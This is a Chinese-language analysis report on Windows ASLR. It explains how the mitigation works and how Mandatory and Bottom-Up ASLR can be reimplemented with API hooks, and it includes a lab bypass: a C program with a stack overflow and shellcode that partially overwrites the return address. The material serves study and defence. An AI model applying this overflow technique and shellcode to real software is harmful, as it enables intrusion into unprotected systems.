ASLR机制分析报告
ASLR机制分析报告
ASLR机制概述
Windows Vista之后,ASLR(Address Space Layout Randomization)技术就是通过加载程序的时候不再使用固定的基址加载,从而干扰 shellcode 定位的一种保护机制
ASLR机制的开启
项目->属性->链接器->高级->随机基址/DYNAMICBASE编译选项
PE文件标识
未开启ASLR的PE文件:FileHeader有IMAGE_FILE_RELOCS_STRIPPED标志,没有重定位表,不具有IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标志
已开启ASLR的PE文件:FileHeader没有IMAGE_FILE_RELOCS_STRIPPED标志,具有重定位表,具有IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标志
ASLR的随机化
映像随机化
映像随机化是在 PE 文件映射到内存时,对其加载的虚拟地址进行随机化处理,这个地址是在系统启动时确定的,系统重启后这个地址会变化
开启映像随机化
通过设置注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages 的键值来设定映像随机化的工作模式。
-
设置为 0 时映像随机化将禁用。
-
设置为−1 时强制对可随机化的映像进行处理,无论是否设置 IMAGE_DLL_ CHARACTERISTICS_DYNAMIC_BASE 标识。
-
设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行处理
注意:如果注册表中不存在 MoveImages,可以手工建立名称为 MoveImages,类型为 DWORD 的值,并根据需要设置它的值
堆栈随机化
在程序运行时随机的选择堆栈的基址,与映像基址随机化不同的是堆栈的基址 不是在系统启动的时候确定的,而是在打开程序的时候确定的,也就是说同一个程序任意两次 运行时的堆栈基址都是不同的,进而各变量在内存中的位置也就是不确定的
PEB 与 TEB 随机化
微软在 XP SP2 之后不再使用固 定的 PEB 基址 0x7FFDF000 和 TEB 基址 0x7FFDE000,而是使用具有一定随机性的基址
绕过ASLR
1.利用部分覆盖进行定位内存地址
映像随机化只是对映像加载基址的前 2 个字节做随机化处理,所以只覆盖这个地址的最后一个字节,或者最后两个字节,那么就可以在一定范围内控制程序了
实验环境
环境 | 环境设置 |
---|---|
操作系统 | Windows 7 |
编译器 | VS 2008 |
编译选项 | 开启ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP |
绕过思路
利用栈溢出覆盖函数返回地址。复制结束后,test 函数返回 tt 字符数组的首地址。在相对程序加载基址 0x0000~0xFFFF 的范围内,找到一条跳板指令,并用它地址的后 2 个字节覆盖返回地址的后两个字节。 采用这种类似“相对寻址”的方法来动态确定跳板指令的地址,以实现跳板指令的通用性
实验过程
-
计算填充多少个字节才能覆盖到返回地址。通过计算发现复制字符串长度超过 260 个字节时就会覆盖返回地址,所以使用 261~262 这两 个字节来覆盖返回地址的后两位
-
寻找合适的跳板指令,由于是部分覆盖,所以 shellcode 只在返回地址的前面,即不能再使用JMP ESP 。需要一条往低地址方向跳的指令,观察寄存器发现EAX 符合要求,EAX 被溢出字符的起始地址,所以只要在当前内存范围内找到条 CALL/JMP EAX 的指令就可以跳转到 shellcode 中执行了
利用OllyFindAddr 插件,通过 Overwrite return address→Find CALL/JMP EAX 选项在当前内 存范围内查找 CALL/JMP EAX 指令,选择0x0012B1967
-
构造shellcode,前170个字节为弹出对话框的指令,中间填充90个字节的0x90指令,最后2个字节填充0x19,0x67
-
整体代码如下:
#include<stdio.h>
#include<tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x67\x19"
;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
_asm INT 3
return tt;
}
int _tmain(int argc, _TCHAR* argv[])
{
char temp[200];
test();
return 0;
}
测试结果
MandatoryASLR机制
MandatoryASLR概述
强制地址空间布局随机化(Mandatory Address Space Layout Randomization / Force randomization for images),通过随机化模块加载到内存中的位置,以此来限制攻击者预先确定内存地址的能力。
可执行映程序(DLL/EXE) 必须通过/DYNAMICBASE链接选项指示它们希望由 ASLR 随机化。如果可执行映像尚未与 /DYNAMICBASE 链接,则 Windows 内核将尝试在其首选基址加载该映像。这可能导致可执行文件在内存中的可预测位置进行加载。Windwos 8之后,可选择启用MandatoryASLR,此功能会在应用程序加载所有可重定位映像时强制随机化基地址,包括那些尚未与 /DYNAMICBASE 链接的映像。可防止在内存中的可预测位置加载可执行映像。
MandatoryASLR的开启
Windows Defender->应用和浏览器控制->Exploit Protection->强制性ASLR
MandatoryASLR的实现
1.进程加载的过程(此处仅分析内存加载)
分析可知ASLR的实现主要与MmMapViewOfSection函数有关,设置该函数的参数即可设置加载的地址。
分析过程如下:
1.在MmCreateProcessAddressSpace中调用MmCreateSection->MiCreateImageFileMap,设置Segment的BasedAddress(预设基地址)
NewSegment->BasedAddress = (PVOID) NextVa;//NextVa即为0x400000
2.在MmInitializeProcessAddressSpace调用MmMapViewOfSection(即将进程映射到设置的地址处):
BaseAddress = NULL;
ViewSize = 0;
ZERO_LARGE (SectionOffset);
Status = MmMapViewOfSection ((PSECTION)SectionToMap,
ProcessToInitialize,
&BaseAddress,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
PAGE_READWRITE);
3.在MmMapViewOfSection中调用MiMapViewOfImageSection,在其中根据所传入的BaseAddress和SectionOffset设置StartingAddress(即进程实际加载的基地址)
1)若传入BaseAddress不为空,根据传入的参数设置映射基地址
StartingAddress = MI_64K_ALIGN(*CapturedBase);
EndingAddress = (PVOID)(((ULONG_PTR)StartingAddress + *CapturedViewSize - 1) | (PAGE_SIZE - 1));
2)若传入BaseAddress为空
StartingAddress = (PVOID)((ULONG_PTR)BasedAddress + (ULONG_PTR)MI_64K_ALIGN(SectionOffset->LowPart));
EndingAddress = (PVOID)(((ULONG_PTR)StartingAddress + *CapturedViewSize - 1) | (PAGE_SIZE - 1));
4.回到MmInitializeProcessAddressSpace函数中,对EPROCESS.SectionBaseAddress进行赋值:
ProcessToInitialize->SectionBaseAddress = BaseAddress;
5.在MmCreatePeb函数中:设置PEB中的进程加载地址
PebBase->ImageBaseAddress = TargetProcess->SectionBaseAddress;
6.在LdrpInitializeProcess函数中将预设基地址与进程实际加载的基地址进行比对,如果不一致需要进行重定位
if ((PVOID)NtHeader->OptionalHeader.ImageBase != Peb->ImageBaseAddress) {
PVOID ViewBase;
ViewBase = Peb->ImageBaseAddress;
st = LdrpSetProtection (ViewBase, FALSE);
st = LdrRelocateImage (ViewBase,
"LDR",
STATUS_SUCCESS,
STATUS_CONFLICTING_ADDRESSES,
}
在LoadLibrary系列函数中也是一样:
2.MandatoryASLR代码实现
对NtMapViewOfSection进行InlineHook,当应用程序调用NtMapViewOfSection时,判断其返回值,查询所申请的地址是否需要重新加载,若需要重新加载,调用NtUnmapViewofSection解除映射,再调用NtMapViewOfSection将模块重新映射到随机地址处
- 对NtMapViewOfSection进行InlineHook
- 调用VirtualQuery查询该模块基地址的信息
- 如果具有IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志(代表该PE文件已开启ASLR机制)且模块加载地址和预设基地址一样,该模块需要重新被加载到随机的基地址处
整体代码如下:
DWORD MandatoryASLR(PHOOKINFO HookInfo) {
DWORD dwRet = 0;
//NtMapViewOfSection
if (HookInfo->dwIndexApi - 50) {
dwRet = Proxy_ApiCaller(HookInfo->dwArgc, HookInfo->dwArgAddr, HookInfo->dwTrueApiAddr);
//dwRet == STATUS_SUCCESS或STATUS_IMAGE_NOT_AT_BASE
if (dwRet == 0 || dwRet == 0x40000003) {
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
PVOID BaseAddr = (PVOID)*(HookInfo->ApiArg + 2);
SIZE_T ViewSize = (SIZE_T)*(HookInfo->ApiArg + 6);
if (VirtualQuery(BaseAddr, &MemInfo, sizeof(MEMORY_BASIC_INFORMATION))) {
if (MemInfo.Type == MEM_IMAGE && IsReloadNeeded((DWORD_PTR)BaseAddr)) {
HANDLE hProcess = (HANDLE)*(HookInfo->ApiArg + 1);
NTUNMAPVIEWOFSECTION pNtUnmapViewofSection = (NTUNMAPVIEWOFSECTION)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtUnmapViewofSection");
pNtUnmapViewofSection(hProcess, BaseAddr);
proxy_NtAllocateVirtualMemory(BaseAddr, ViewSize);//占坑
dwRet = Proxy_ApiCaller(HookInfo->dwArgc, HookInfo->dwArgAddr, HookInfo->dwTrueApiAddr);
}
}
}
}
//NtUnmapViewOfSection
else {
dwRet = Proxy_ApiCaller(HookInfo->dwArgc, HookInfo->dwArgAddr, HookInfo->dwTrueApiAddr);
}
return dwRet;
}
BOOL IsReloadNeeded(DWORD_PTR ModuleBase) {
IMAGE_DOS_HEADER* ImageDosHeader = NULL;
IMAGE_OPTIONAL_HEADER* ImageOptionalHeader = NULL;
PIMAGE_EXPORT_DIRECTORY ImageExportDirectory;
ImageDosHeader = (IMAGE_DOS_HEADER *)ModuleBase;
ImageOptionalHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)ModuleBase + ImageDosHeader->e_lfanew + 24);
WORD wDllCharacteristics = 0;
DWORD dwImageBase = 0;
if (ImageOptionalHeader->Magic == PE32) {
wDllCharacteristics = ImageOptionalHeader->DllCharacteristics;
dwImageBase = ImageOptionalHeader->ImageBase;
}
else {
if (ImageOptionalHeader->Magic != PE64) {
return 0;
}
wDllCharacteristics = ImageOptionalHeader->DllCharacteristics;
dwImageBase = ImageOptionalHeader->ImageBase;
}
//如果具有IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志,代表该PE文件已开启ASLR机制
if ((wDllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) == 0 && (DWORD)ModuleBase == dwImageBase) {
return FALSE;
}
return TRUE;
}
BottomUpASLR机制
BottomUpASLR概述
由低而上的地址空间布局随机化(Bottom-up randomization)通过随机化自下而上分配的基地址(包括堆、栈和其他内存分配)来增强强制性地址空间布局随机化(MandatoryASLR)的缓解性(Mitigation)。
在 Windows 8 之前,自下而上和自上而下的分配不是由 ASLR 随机分配的。即通过VirtualAlloc和MapViewOfFile等函数进行的分配没有熵,因此可以放置在内存中的可预测位置(除非是非确定性应用程序行为)。虽然某些内存区域有自己的基本随机化,例如堆、堆栈、TEB 和 PEB,但所有其他自下而上和自上而下的分配都不是随机化的。
从 Windows 8 开始,所有自下而上和自上而下分配的基址都是显式随机化的。这是通过随机化自下而上和自上而下分配从给定进程开始的地址来实现的。通过这种方式,地址空间内的碎片最小化,同时还实现了随机化所有未显式基于的内存分配的基址的好处
BottomUpASLR的开启
Windows Defender->应用和浏览器控制->Exploit Protection->自下而上ASLR
BottomUpASLR的实现
BottomUpASLR的实现主要与NtAllocateVirtualMemory有关,一般分配内存的函数都会调用NtAllocateVirtualMemory,所以在调用该函数之前设置随机熵,提前分配自下而上的内存
整体代码如下:
DWORD BottomUpASLR() {
DWORD dwPid = GetCurrentProcessId();
DWORD dwSeed = GetTickCount() ^ dwPid;
RTLRANDOM pRtlRandom = (RTLRANDOM)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "RtlRandom");
DWORD dwRandomVal = pRtlRandom(&dwSeed);
while (dwRandomVal) {
proxy_NtAllocateVirtualMemory(0, 0x10000);
dwRandomVal--;
}
return 0;
}
DWORD proxy_NtAllocateVirtualMemory(PVOID BaseAddr_, SIZE_T RegionSize_) {
PVOID BaseAddr = BaseAddr_;
SIZE_T RegionSize = RegionSize_;
NTALLOCATEVIRTUALMEMORY pNtAllocateVirtualMemory = (NTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory");
return pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddr, 0, &RegionSize, MEM_RESERVE, PAGE_NOACCESS);
}
参考
博客:
VAD(Virtual Address Descriptor)虚拟地址描述符 - revercc - 博客园 (cnblogs.com)
VirtualAlloc function (memoryapi.h) - Win32 apps |微软文档 (microsoft.com)
NtAllocateVirtualMemory 函数 (ntifs.h) - Windows drivers | Microsoft Docs
(73条消息) EPROCESS 结构体属性介绍_hambaga的博客-CSDN博客
[分享]调戏:自建ASLR机制-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
KPROCESS IDT PEB Ldr 《寒江独钓》内核学习笔记(3) - 郑瀚Andrew.Hann - 博客园 (cnblogs.com)